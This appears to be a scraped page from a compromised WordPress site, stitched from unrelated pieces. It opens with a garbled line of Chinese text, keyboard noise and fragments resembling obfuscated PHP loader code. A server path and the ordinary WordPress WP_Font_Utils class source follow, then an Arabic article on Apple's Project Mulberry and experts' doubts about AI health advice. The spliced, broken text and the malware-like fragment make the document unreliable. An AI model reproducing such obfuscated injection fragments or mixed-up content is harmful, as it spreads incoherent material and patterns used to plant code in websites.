财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-includes/fonts/class-wp-font-utils.php
<?php
/**
 * Font Utils class.
 *
 * Provides utility functions for working with font families.
 *
 * @package    WordPress
 * @subpackage Fonts
 * @since      6.5.0
 */

/**
 * A class of utilities for working with the Font Library.
 *
 * These utilities may change or be removed in the future and are intended for internal use only.
 *
 * @since 6.5.0
 * @access private
 */
class WP_Font_Utils {
	/**
	 * Adds surrounding quotes to font family names that contain special characters.
	 *
	 * It follows the recommendations from the CSS Fonts Module Level 4.
	 * @link https://www.w3.org/TR/css-fonts-4/#font-family-prop
	 *
	 * @since 6.5.0
	 *
	 * @param string $item A font family name.
	 * @return string The font family name with surrounding quotes, if necessary.
	 */
	private static function maybe_add_quotes( $item ) {
		// Matches strings that are not exclusively alphabetic characters or hyphens, and do not exactly follow the pattern generic(alphabetic characters or hyphens).
		$regex = '/^(?!generic\([a-zA-Z\-]+\)$)(?!^[a-zA-Z\-]+$).+/';
		$item  = trim( $item );
		if ( preg_match( $regex, $item ) ) {
			$item = trim( $item, "\"'" );
			return '"' . $item . '"';
		}
		return $item;
	}

	/**
	 * Sanitizes and formats font family names.
	 *
	 * - Applies `sanitize_text_field`.
	 * - Adds surrounding quotes to names containing any characters that are not alphabetic or dashes.
	 *
	 * It follows the recommendations from the CSS Fonts Module Level 4.
	 * @link https://www.w3.org/TR/css-fonts-4/#font-family-prop
	 *
	 * @since 6.5.0
	 * @access private
	 *
	 * @see sanitize_text_field()
	 *
	 * @param string $font_family Font family name(s), comma-separated.
	 * @return string Sanitized and formatted font family name(s).
	 */
	public static function sanitize_font_family( $font_family ) {
		if ( ! $font_family ) {
			return '';
		}

		$output          = sanitize_text_field( $font_family );
		$formatted_items = array();
		if ( str_contains( $output, ',' ) ) {
			$items = explode( ',', $output );
			foreach ( $items as $item ) {
				$formatted_item = self::maybe_add_quotes( $item );
				if ( ! empty( $formatted_item ) ) {
					$formatted_items[] = $formatted_item;
				}
			}
			return implode( ', ', $formatted_items );
		}
		return self::maybe_add_quotes( $output );
	}

	/**
	 * Generates a slug from font face properties, e.g. `open sans;normal;400;100%;U+0-10FFFF`
	 *
	 * Used for comparison with other font faces in the same family, to prevent duplicates
	 * that would both match according the CSS font matching spec. Uses only simple case-insensitive
	 * matching for fontFamily and unicodeRange, so does not handle overlapping font-family lists or
	 * unicode ranges.
	 *
	 * @since 6.5.0
	 * @access private
	 *
	 * @link https://drafts.csswg.org/css-fonts/#font-style-matching
	 *
	 * @param array $settings {
	 *     Font face settings.
	 *
	 *     @type string $fontFamily   Font family name.
	 *     @type string $fontStyle    Optional font style, defaults to 'normal'.
	 *     @type string $fontWeight   Optional font weight, defaults to 400.
	 *     @type string $fontStretch  Optional font stretch, defaults to '100%'.
	 *     @type string $unicodeRange Optional unicode range, defaults to 'U+0-10FFFF'.
	 * }
	 * @return string Font face slug.
	 */
	public static function get_font_face_slug( $settings ) {
		$defaults = array(
			'fontFamily'   => '',
			'fontStyle'    => 'normal',
			'fontWeight'   => '400',
			'fontStretch'  => '100%',
			'unicodeRange' => 'U+0-10FFFF',
		);
		$settings = wp_parse_args( $settings, $defaults );
		if ( function_exists( 'mb_strtolower' ) ) {
			$font_family = mb_strtolower( $settings['fontFamily'] );
		} else {
			$font_family = strtolower( $settings['fontFamily'] );
		}
		$font_style    = strtolower( $settings['fontStyle'] );
		$font_weight   = strtolower( $settings['fontWeight'] );
		$font_stretch  = strtolower( $settings['fontStretch'] );
		$unicode_range = strtoupper( $settings['unicodeRange'] );

		// Convert weight keywords to numeric strings.
		$font_weight = str_replace( array( 'normal', 'bold' ), array( '400', '700' ), $font_weight );

		// Convert stretch keywords to numeric strings.
		$font_stretch_map = array(
			'ultra-condensed' => '50%',
			'extra-condensed' => '62.5%',
			'condensed'       => '75%',
			'semi-condensed'  => '87.5%',
			'normal'          => '100%',
			'semi-expanded'   => '112.5%',
			'expanded'        => '125%',
			'extra-expanded'  => '150%',
			'ultra-expanded'  => '200%',
		);
		$font_stretch     = str_replace( array_keys( $font_stretch_map ), array_values( $font_stretch_map ), $font_stretch );

		$slug_elements = array( $font_family, $font_style, $font_weight, $font_stretch, $unicode_range );

		$slug_elements = array_map(
			function ( $elem ) {
				// Remove quotes to normalize font-family names, and ';' to use as a separator.
				$elem = trim( str_replace( array( '"', "'", ';' ), '', $elem ) );

				// Normalize comma separated lists by removing whitespace in between items,
				// but keep whitespace within items (e.g. "Open Sans" and "OpenSans" are different fonts).
				// CSS spec for whitespace includes: U+000A LINE FEED, U+0009 CHARACTER TABULATION, or U+0020 SPACE,
				// which by default are all matched by \s in PHP.
				return preg_replace( '/,\s+/', ',', $elem );
			},
			$slug_elements
		);

		return sanitize_text_field( implode( ';', $slug_elements ) );
	}

	/**
	 * Sanitizes a tree of data using a schema.
	 *
	 * The schema structure should mirror the data tree. Each value provided in the
	 * schema should be a callable that will be applied to sanitize the corresponding
	 * value in the data tree. Keys that are in the data tree, but not present in the
	 * schema, will be removed in the sanitized data. Nested arrays are traversed recursively.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @param array $tree   The data to sanitize.
	 * @param array $schema The schema used for sanitization.
	 * @return array The sanitized data.
	 */
	public static function sanitize_from_schema( $tree, $schema ) {
		if ( ! is_array( $tree ) || ! is_array( $schema ) ) {
			return array();
		}

		foreach ( $tree as $key => $value ) {
			// Remove keys not in the schema or with null/empty values.
			if ( ! array_key_exists( $key, $schema ) ) {
				unset( $tree[ $key ] );
				continue;
			}

			$is_value_array  = is_array( $value );
			$is_schema_array = is_array( $schema[ $key ] ) && ! is_callable( $schema[ $key ] );

			if ( $is_value_array && $is_schema_array ) {
				if ( wp_is_numeric_array( $value ) ) {
					// If indexed, process each item in the array.
					foreach ( $value as $item_key => $item_value ) {
						$tree[ $key ][ $item_key ] = isset( $schema[ $key ][0] ) && is_array( $schema[ $key ][0] )
							? self::sanitize_from_schema( $item_value, $schema[ $key ][0] )
							: self::apply_sanitizer( $item_value, $schema[ $key ][0] );
					}
				} else {
					// If it is an associative or indexed array, process as a single object.
					$tree[ $key ] = self::sanitize_from_schema( $value, $schema[ $key ] );
				}
			} elseif ( ! $is_value_array && $is_schema_array ) {
				// If the value is not an array but the schema is, remove the key.
				unset( $tree[ $key ] );
			} elseif ( ! $is_schema_array ) {
				// If the schema is not an array, apply the sanitizer to the value.
				$tree[ $key ] = self::apply_sanitizer( $value, $schema[ $key ] );
			}

			// Remove keys with null/empty values.
			if ( empty( $tree[ $key ] ) ) {
				unset( $tree[ $key ] );
			}
		}

		return $tree;
	}

	/**
	 * Applies a sanitizer function to a value.
	 *
	 * @since 6.5.0
	 *
	 * @param mixed    $value     The value to sanitize.
	 * @param callable $sanitizer The sanitizer function to apply.
	 * @return mixed The sanitized value.
	 */
	private static function apply_sanitizer( $value, $sanitizer ) {
		if ( null === $sanitizer ) {
			return $value;

		}
		return call_user_func( $sanitizer, $value );
	}

	/**
	 * Returns the expected mime-type values for font files, depending on PHP version.
	 *
	 * This is needed because font mime types vary by PHP version, so checking the PHP version
	 * is necessary until a list of valid mime-types for each file extension can be provided to
	 * the 'upload_mimes' filter.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return string[] A collection of mime types keyed by file extension.
	 */
	public static function get_allowed_font_mime_types() {
		$php_7_ttf_mime_type = PHP_VERSION_ID >= 70300 ? 'application/font-sfnt' : 'application/x-font-ttf';

		return array(
			'otf'   => 'application/vnd.ms-opentype',
			'ttf'   => PHP_VERSION_ID >= 70400 ? 'font/sfnt' : $php_7_ttf_mime_type,
			'woff'  => PHP_VERSION_ID >= 80112 ? 'font/woff' : 'application/font-woff',
			'woff2' => PHP_VERSION_ID >= 80112 ? 'font/woff2' : 'application/font-woff2',
		);
	}
}
حين تتحول الساعة الذكية إلى عيادة متنقلة.. من يفهم جسدك الخوارزميات أم الأخصائي؟ – tahkoom.com
خدمة

حين تتحول الساعة الذكية إلى عيادة متنقلة.. من يفهم جسدك الخوارزميات أم الأخصائي؟

كتبت: فرح سمير

 مدربك، طبيبك، وخبير التغذية… داخل هاتفك

! في خطوة جديدة تعزز مكانتها في عالم الصحة الرقمية، أعلنت شركة “آبل” عن مشروعها الطموح Project Mulberry، الذي يجمع بين الذكاء الاصطناعي والبيانات الصحية الشخصية لتقديم توصيات طبية وغذائية مصممة خصيصًا لكل مستخدم. المشروع يأتي كجزء من توسع آبل في مجالات الصحة والتغذية والعلاج الطبيعي. يهدف Project Mulberry إلى تحويل الهاتف الذكي إلى مساعد صحي افتراضي، يستند إلى معلومات دقيقة يتم جمعها من أجهزة مثل آيفون وآبل ووتش، لتقديم نصائح تتعلق بالنوم، التغذية، التمارين الرياضية، وحتى الوضعية الجسدية. يركز التطبيق على التكامل بين التحليل البيولوجي، والنصائح الشخصية، والمحتوى التعليمي المرئي. ويطمح إلى تقديم تجربة أكثر شمولاً… تبدأ من قياس عدد الخطوات، ولا تنتهي قبل تقديم خطة علاجية وتغذوية تراعي تفاصيل المستخدم. وقد استعانت آبل بفريق من الأطباء وخبراء التغذية والعلاج الطبيعي، لتدريب نموذجها الذكي وتحسين دقة التوصيات. لكن في خضم هذا التطور، تطرح تساؤلات مشروعة: هل يمكن لهذه التطبيقات أن تحل فعلاً محل الاستشارات الطبية المباشرة؟ وهل تمثل خطرًا على صحة المستخدم إن تم الاعتماد عليها بشكل كامل؟

 “الذكاء الاصطناعي لا يملك حدسك”

الدكتورة ” إيمان الحجار” استشاري التغذية؛ ترى أن الذكاء الاصطناعي لا يمكن الاعتماد عليه بشكل كامل في التخطيط الغذائي. خلال تدريب الطلبة، لاحظت أن أدوات الذكاء الاصطناعي ترتكب أخطاء واضحة في حساب السعرات، وتعتمد على معلومات غير مكتملة أو غير دقيقة، فضلًا عن تجاهلها لعادات وثقافات المجتمعات، مثل اقتراح أطعمة غير مقبولة دينيًا أو باهظة الثمن لا تناسب جميع الفئات. ترى د. إيمان أن التغذية لا تقتصر على وضع خطة مكتوبة، بل تحتاج إلى تواصل إنساني مباشر مع المريض، لفهم حالته النفسية والسلوكية، إذ قد يخفي بعض العادات الغذائية الحقيقية أو يتظاهر باتباع نظام صحي. من خلال الملاحظة المباشرة ولغة الجسد، تستطيع كمتخصصة كشف مشاكل لا يمكن للتطبيقات رصدها. تؤكد أن بعض المرضى يختبرون الذكاء الاصطناعي، وأحيانًا حتى الأخصائيين أنفسهم، كما تختلف شخصيات المرضى بين النرجسية أو السلبية أو الإنكار، ما يجعل التعامل الإنساني المباشر ضرورة، خاصة في حالات الأكل العاطفي أو الاضطرابات السلوكية المرتبطة بالتغذية. رغم ذلك، ترى أن الذكاء الاصطناعي يمكن أن يكون مكملًا مفيدًا، لا بديلًا. فهي استخدمته مثلًا مع الطلبة مرضى السكري في تطبيق ترفيهي يساعدهم على التعرف إلى السعرات الحرارية بشكل ممتع. كما تسهم التطبيقات في دعم الأخصائيين من خلال الردود التلقائية أو المتابعة اليومية، لكن مع ضرورة أن يكون التحكم بيد الأخصائي، لا العكس. وتحذر من مخاطر التطبيقات غير الموثوقة التي قد تنتهك الخصوصية أو تستغل البيانات، مشددة على أهمية المتابعة الشخصية مع الطبيب، لما تحققه من تواصل وجداني وتأثير نفسي إيجابي، خصوصًا عند إشراك المرضى في أنشطة جماعية ومشاركة وجباتهم، مما يشعرهم بالانتماء والدعم، ويقلل من العزلة والانطوائية. وتختم بأن العامل البشري لا غنى عنه، لأن مجرد الحوار بين المريض والأخصائي يمثل علاجًا بحد ذاته، ووسيلة لفهم أعمق ونتائج أفضل

العلاج الطبيعي: دعم لا بديل

أما في مجال العلاج الطبيعي، فيؤكد د. محمود عادل، استشاري العلاج الطبيعي –، أن الذكاء الاصطناعي يتمتع بإمكانات ملحوظة في تقديم إرشادات مخصصة اعتمادًا على تحليل بيانات المستخدمين، لكن الإشراف المتخصص يظل ضروريًا لضمان السلامة والفعالية، خاصة أن السلامة تمثل أولوية قصوى. ويشدد على أن المريض لا يجب أن يخضع لأي تجربة علاجية دون توجيه من مختص. يرى أن الذكاء الاصطناعي يمكن أن يكون مساعدًا في حالات محددة بسيطة أو لأغراض وقائية، وقد يشبه جزئيًا بعض جوانب جلسات العلاج الطبيعي. ومع ذلك، لا يمتلك القدرة على الحلول محل عملية التقييم والعلاج الشاملة التي يقوم بها الأخصائي، لأهمية المتابعة الدقيقة لحالة المريض. ويشير إلى أن مشروعًا مثل “Project Mulberry” يمكن أن يكون عنصرًا داعمًا لجلسات العلاج الطبيعي، لكنه لا يغني عنها، بل يسهل عملية المتابعة بين الجلسات ويوفر الوقت للمعالج والمريض. أما عن المخاطر، فيحذر من الاعتماد الكلي على التوجيهات التقنية دون استشارة أخصائي، لما قد يسببه ذلك من أخطاء في التشخيص أو أداء تمارين غير مناسبة، وهو ما قد يؤدي إلى تفاقم الإصابة، خصوصًا في حالات العضلات أو العمود الفقري. ويتابع: حتى مع تزويد التطبيقات بصور إشعاعية، يصعب عليها تقييم ما قد يضر المريض، كما أن الفيديوهات والصور يمكن أن تساعد في شرح التمارين، لكنها لا تعوض التوجيه المباشر، خاصة في الحالات المعقدة التي تتطلب تعديلاً مستمرًا بحسب استجابة الجسم التدريب الرياضي: حماس لا يمكن برمجته

المدرب الرقمي في جيبك…،

 تؤكد المدربة المعتمدة شيماء بركات أن الذكاء الاصطناعي، رغم تطوره، لا يمكن أن يحل محل المدرب البشري بأي شكل من الأشكال. وترى شيماء أن أنظمة الذكاء الاصطناعي قد تكون مفيدة في بعض الجوانب التقنية، خاصة عند توفر بيانات دقيقة وواضحة، لكنها لا تمتلك الفهم الكامل لاحتياجات كل مستخدم على حدة. كما أن الاعتماد على كاميرا الهاتف لتحليل الحركات لا يضاهي الملاحظة الفورية والخبرة العملية التي يتمتع بها المدرب، لا سيما أن تقييم الأداء البدني يتطلب قراءة دقيقة لتفاعل الجسم واستجابته أثناء التمرين. وتحذر من الاعتماد الكلي على هذه التطبيقات دون إشراف بشري مباشر، مشيرة إلى أن غياب العنصر الإنساني قد يؤدي إلى مشكلات عديدة، أبرزها الإصابة أو الفشل في تحقيق الأهداف، إضافة إلى شعور المتدرب بالملل أو فقدان الحافز بسبب غياب التشجيع والدعم اللحظي. كما تلفت إلى أن الذكاء الاصطناعي قد لا يكون قادرًا على التعامل مع الحالات الفردية الجديدة أو النادرة، وهو ما قد ينتج عنه عواقب سلبية عند غياب التقييم البشري المتخصص. وتختتم شيماء رأيها بالتأكيد على أن “التطبيقات الذكية ستظل أدوات مساعدة مفيدة، لكنها لا يمكن أن تحل محل التفاعل البشري الحي، أو تلغي الحاجة إلى خبرة المدرب الشخصي ومتابعته الدقيقة.” ميزة التطوير المستمر… ولكن! مشروع آبل مدعوم بفريق طبي يعمل على تدريب نموذج الذكاء الاصطناعي باستمرار، ما يعزز دقة التوصيات مع الوقت. كما أن إضافة خاصية متابعة التغذية وتحليل نمط النوم ومراقبة التمارين تجعل من التطبيق منصة شاملة. ومع ذلك، يبقى الاعتماد الكلي على الخوارزميات محل جدل. “ربما يكون المشروع مكملاً ممتازًا للرعاية الصحية، لكنه لا يجب أن يكون بديلاً عنها” ، يقول د. محمود. أداة مساعدة لا بديل مطلق: من الواضح أن الذكاء الاصطناعي بدأ يلعب دورًا متزايدًا في عالم الصحة. لكن حتى الآن، تظل قدراته محدودة أمام تعقيد الجسد البشري. التطبيقات الذكية قد تسهم في تحسين نمط الحياة، لكنها لا يمكن أن تحل محل المعرفة البشرية المتخصصة. في النهاية، الصحة تظل مسؤولية مشتركة بين الإنسان… والتقنية.

اظهر المزيد

مقالات ذات صلة

زر الذهاب إلى الأعلى